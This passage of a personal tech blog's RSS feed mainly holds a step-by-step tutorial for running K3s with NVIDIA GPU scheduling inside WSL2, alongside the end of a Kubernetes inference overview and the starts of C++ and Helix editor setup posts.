compatibility testing.</li>
<li><strong>Distributed-inference networking:</strong> Tensor parallelism, expert parallelism, and KV transfer are sensitive to
topology and bandwidth. Kubernetes can place and restart pods, but it cannot compensate for insufficient network
capacity.</li>
<li><strong>Stable, interoperable APIs:</strong> Several APIs remain alpha or project-specific and will continue to change.</li>
</ul>
<p>Inference performance still depends on the model engine, kernels, quantization, batching, KV-cache management,
accelerator topology, and request characteristics. Kubernetes supplies control, placement, lifecycle, and routing.</p>
<div class="article-key-point"><p>Build the smallest serving stack that meets current SLOs. Add inference-specific layers when measurements show that
the existing architecture has reached its limit.</p>
</div>
<h2 id="sources-and-further-reading">Sources and further reading</h2>
<nav class="further-reading" aria-label="Sources and further reading">
  <ul>
<li><a rel="noopener external" target="_blank" href="https://terrytangyuan.github.io/2024/10/22/ai-ml-innovation-in-the-kubernetes-ecosystem/">AI/ML Innovation in the Kubernetes Ecosystem (2024)</a>
<span class="further-reading-description">The original ecosystem overview revisited by this article.</span></li>
<li><a rel="noopener external" target="_blank" href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/">Kubernetes 1.36 release notes</a>
<span class="further-reading-description">Upstream changes including stable OCI image volumes.</span></li>
<li><a rel="noopener external" target="_blank" href="https://gateway-api-inference-extension.sigs.k8s.io/">Gateway API Inference Extension</a>
<span class="further-reading-description">API definitions and concepts for inference-aware routing.</span></li>
<li><a rel="noopener external" target="_blank" href="https://kserve.github.io/website/blog/kserve-0.18-release">KServe 0.18 release</a>
<span class="further-reading-description">Generative inference and model-serving control-plane changes.</span></li>
<li><a rel="noopener external" target="_blank" href="https://kserve.github.io/website/docs/model-serving/generative-inference/llmisvc/llmisvc-overview">KServe LLMInferenceService overview</a>
<span class="further-reading-description">The serving API designed for generative AI and its architecture.</span></li>
<li><a rel="noopener external" target="_blank" href="https://lws.sigs.k8s.io/docs/overview/">LeaderWorkerSet overview</a>
<span class="further-reading-description">A Kubernetes API for groups of cooperating pods.</span></li>
<li><a rel="noopener external" target="_blank" href="https://llm-d.ai/docs/0.7">llm-d documentation</a>
<span class="further-reading-description">Distributed inference, routing, and disaggregation components.</span></li>
<li><a rel="noopener external" target="_blank" href="https://kubernetes.io/docs/concepts/scheduling-eviction/dynamic-resource-allocation/">Kubernetes Dynamic Resource Allocation</a>
<span class="further-reading-description">The upstream resource-allocation model used by accelerator drivers.</span></li>
<li><a rel="noopener external" target="_blank" href="https://www.kubeflow.org/docs/components/hub/">Kubeflow Hub</a>
<span class="further-reading-description">Model registry and federated catalog capabilities.</span></li>
<li><a rel="noopener external" target="_blank" href="https://kubernetes.io/blog/2026/03/09/announcing-ai-gateway-wg/">Kubernetes AI Gateway Working Group</a>
<span class="further-reading-description">The effort to standardize AI gateway patterns in Kubernetes.</span></li>
</ul>
</nav>

        
      ]]></description>
    </item>
    
    <item>
      <title>My Modern C++ Setup on macOS and Apple Silicon</title>
      <pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/macos-apple-silicon-cpp-setup/</link>
      <guid>https://akrisanov.com/macos-apple-silicon-cpp-setup/</guid>
      <description xml:base="https://akrisanov.com/macos-apple-silicon-cpp-setup/"><![CDATA[
        <p>Published: 2026-05-19</p>
        
        
          <p>I’m starting to learn modern C++, so I wanted a repeatable development setup on Apple Silicon:</p>
<ul>
<li>use a modern LLVM/Clang toolchain</li>
<li>build projects with CMake and Ninja</li>
<li>get proper language-server support in VS Code and Helix</li>
<li>use sanitizers and static analysis from the beginning</li>
<li>keep the setup practical</li>
</ul>
<p>This cheatsheet assumes that Homebrew is already installed.</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>Running Kubernetes with a GPU Inside WSL2 on My RTX Laptop</title>
      <pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/wsl-nvidia-gpu/</link>
      <guid>https://akrisanov.com/wsl-nvidia-gpu/</guid>
      <description xml:base="https://akrisanov.com/wsl-nvidia-gpu/"><![CDATA[
        <p>Published: 2026-04-22</p>
        
        
          <p>I wanted a local environment where I could:</p>
<ul>
<li>run Kubernetes</li>
<li>schedule GPU workloads</li>
<li>experiment with CUDA / inference / device plugins</li>
<li>avoid renting cloud GPUs</li>
</ul>
<p>I used a Lenovo Legion laptop with an RTX GPU. The working stack was:</p>
<ul>
<li>Windows 11 + NVIDIA driver (WSL-enabled)</li>
<li>WSL2 (Ubuntu 24.04)</li>
<li>K3s (containerd)</li>
<li>NVIDIA Container Toolkit</li>
<li>NVIDIA device plugin</li>
</ul>
<p>The non-obvious part was that the NVIDIA device plugin itself had to use <code>runtimeClassName: nvidia</code>.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>You need:</p>
<ul>
<li>Windows 11</li>
<li>NVIDIA GPU (RTX in my case)</li>
<li>Latest NVIDIA driver <strong>with WSL support</strong></li>
<li>WSL2 installed</li>
</ul>
<p>Inside WSL:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nvidia-smi</span></span></code></pre>
<p>Continue if this command detects the GPU.</p>
<h2 id="step-1-don-t-install-linux-nvidia-drivers">Step 1: Don’t install Linux NVIDIA drivers</h2>
<p>WSL already provides everything via:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">/usr/lib/wsl/lib/</span></span></code></pre>
<p>If <code>nvidia-smi</code> is missing:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">echo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">export PATH=$PATH:/usr/lib/wsl/lib</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.bashrc</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.bashrc</span></span></code></pre>
<p>Do not install Linux NVIDIA drivers inside WSL:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-utils-</span><span>*</span></span></code></pre>
<p>They can conflict with the driver components provided by Windows.</p>
<h2 id="step-2-install-nvidia-container-toolkit">Step 2: Install NVIDIA Container Toolkit</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">fsSL</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://nvidia.github.io/libnvidia-container/gpgkey</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> gpg</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-dearmor</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">s</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">L</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sed</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tee</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/apt/sources.list.d/nvidia-container-toolkit.list</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> update</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">y</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-container-toolkit</span></span></code></pre><h2 id="step-3-verify-gpu-in-containers-podman">Step 3: Verify GPU in containers (Podman)</h2>
<p>Generate CDI config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/cdi</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-ctk</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cdi</span><span style="color: light-dark(#40A02B, #A6E3A1);"> generate</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-output=/etc/cdi/nvidia.yaml</span></span></code></pre>
<p>Test:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">podman</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-rm</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-device=nvidia.com/gpu=all</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ubuntu</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-smi</span></span></code></pre><h2 id="step-4-install-k3s">Step 4: Install K3s</h2>
<p>Make sure systemd is enabled:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">ps</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#FE640B, #FAB387);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> comm=</span></span></code></pre>
<p>It should print:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">systemd</span></span></code></pre>
<p>Install K3s:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">sfL</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://get.k3s.io</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> sh</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span></span></code></pre>
<p>Configure kubeconfig:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cp</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/rancher/k3s/k3s.yaml</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube/config</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> chown</span><span> $</span><span>USER</span><span style="color: light-dark(#40A02B, #A6E3A1);">:</span><span>$</span><span>USER</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube/config</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">export</span><span> KUBECONFIG</span><span style="color: light-dark(#179299, #94E2D5);">=</span><span style="color: light-dark(#179299, #94E2D5);">~</span><span>/.</span><span>kube</span><span>/</span><span>config</span></span></code></pre>
<p>Check:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nodes</span></span></code></pre><h2 id="step-5-enable-nvidia-runtime-in-k3s">Step 5: Enable NVIDIA runtime in K3s</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-ctk</span><span style="color: light-dark(#40A02B, #A6E3A1);"> runtime</span><span style="color: light-dark(#40A02B, #A6E3A1);"> configure</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-runtime=containerd</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> systemctl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> restart</span><span style="color: light-dark(#40A02B, #A6E3A1);"> k3s</span></span></code></pre>
<p>Verify:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /var/lib/rancher/k3s/agent/etc/containerd/config.toml</span></span></code></pre><h2 id="step-6-install-nvidia-device-plugin">Step 6: Install NVIDIA device plugin</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apply</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span>https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.17.1/deployments/static/nvidia-device-plugin.yml</span></span></code></pre>
<p>Check:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ds</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pods</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span></span></code></pre><h2 id="step-7-run-the-device-plugin-with-the-nvidia-runtime">Step 7: Run the device plugin with the NVIDIA runtime</h2>
<p>On my setup, the plugin started but detected no GPUs.</p>
<p>Logs look like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">No</span><span style="color: light-dark(#40A02B, #A6E3A1);"> devices</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found.</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Waiting</span><span style="color: light-dark(#40A02B, #A6E3A1);"> indefinitely.</span></span></code></pre>
<p>Set the DaemonSet's runtime class to <code>nvidia</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> patch</span><span style="color: light-dark(#40A02B, #A6E3A1);"> daemonset</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-daemonset</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-type=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">merge</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{&quot;spec&quot;:{&quot;template&quot;:{&quot;spec&quot;:{&quot;runtimeClassName&quot;:&quot;nvidia&quot;}}}}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span></span></code></pre>
<p>Restart the plugin pod:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> delete</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pod</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);"> name=nvidia-device-plugin-ds</span></span></code></pre>
<p>Verify:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> node</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jsonpath=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{.status.capacity.nvidia\.com/gpu}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span></span></code></pre>
<p>Expected:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">1</span></span></code></pre><h2 id="step-8-run-a-gpu-workload">Step 8: Run a GPU workload</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">cat</span><span style="color: light-dark(#179299, #94E2D5);"> &lt;&lt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">EOF</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apply</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">apiVersion: v1</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">kind: Pod</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">metadata:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  name: cuda-smoke-test</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">spec:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  restartPolicy: Never</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  runtimeClassName: nvidia</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  containers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  - name: cuda</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    image: nvcr.io/nvidia/k8s/cuda-sample:nbody</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    args: [&quot;nbody&quot;, &quot;-gpu&quot;, &quot;-benchmark&quot;]</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    resources:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      limits:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        nvidia.com/gpu: 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">EOF</span></span></code></pre>
<p>Watch:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pod</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cuda-smoke-test</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">w</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> logs</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cuda-smoke-test</span></span></code></pre><h2 id="limits">Limits</h2>
<p>This setup is good for:</p>
<ul>
<li>learning Kubernetes GPU scheduling</li>
<li>testing inference workloads</li>
<li>experimenting with device plugins</li>
<li>prototyping LLM infra locally</li>
</ul>
<p>It is not suitable for:</p>
<ul>
<li>performance benchmarking</li>
<li>multi-GPU experiments</li>
<li>production-like environments</li>
</ul>
<p>Save the working DaemonSet configuration if you want to reuse it:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ds</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-daemonset</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> yaml</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-wsl2.yaml</span></span></code></pre>
        
      ]]></description>
    </item>
    
    <item>
      <title>Helix for Python Development</title>
      <pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/helix-python/</link>
      <guid>https://akrisanov.com/helix-python/</guid>
      <description xml:base="https://akrisanov.com/helix-python/"><![CDATA[
        <p>Published: 2026-03-29</p>
        
        
          <p>I use Visual Studio Code for work and personal projects. It has been my main editor for years, across several languages
and ecosystems.</p>
<p>Since I started using coding agents and chat-based interfaces, I've also wanted a more focused environment without
the panels, notifications, and status updates. This is especially useful when I'm reading a book and reimplementing
its examples. I've been using Helix, a terminal-based code editor, for this kind of work.</p>
<p>I previously configured Helix for Go but didn't record the steps. This note covers my Python setup: LSP support,
type checking with ty, formatting and linting with Ruff, and debugging with debugpy.</p>
<p>I use macOS, so some paths and shell commands are platform-specific. The Helix configuration should work on other
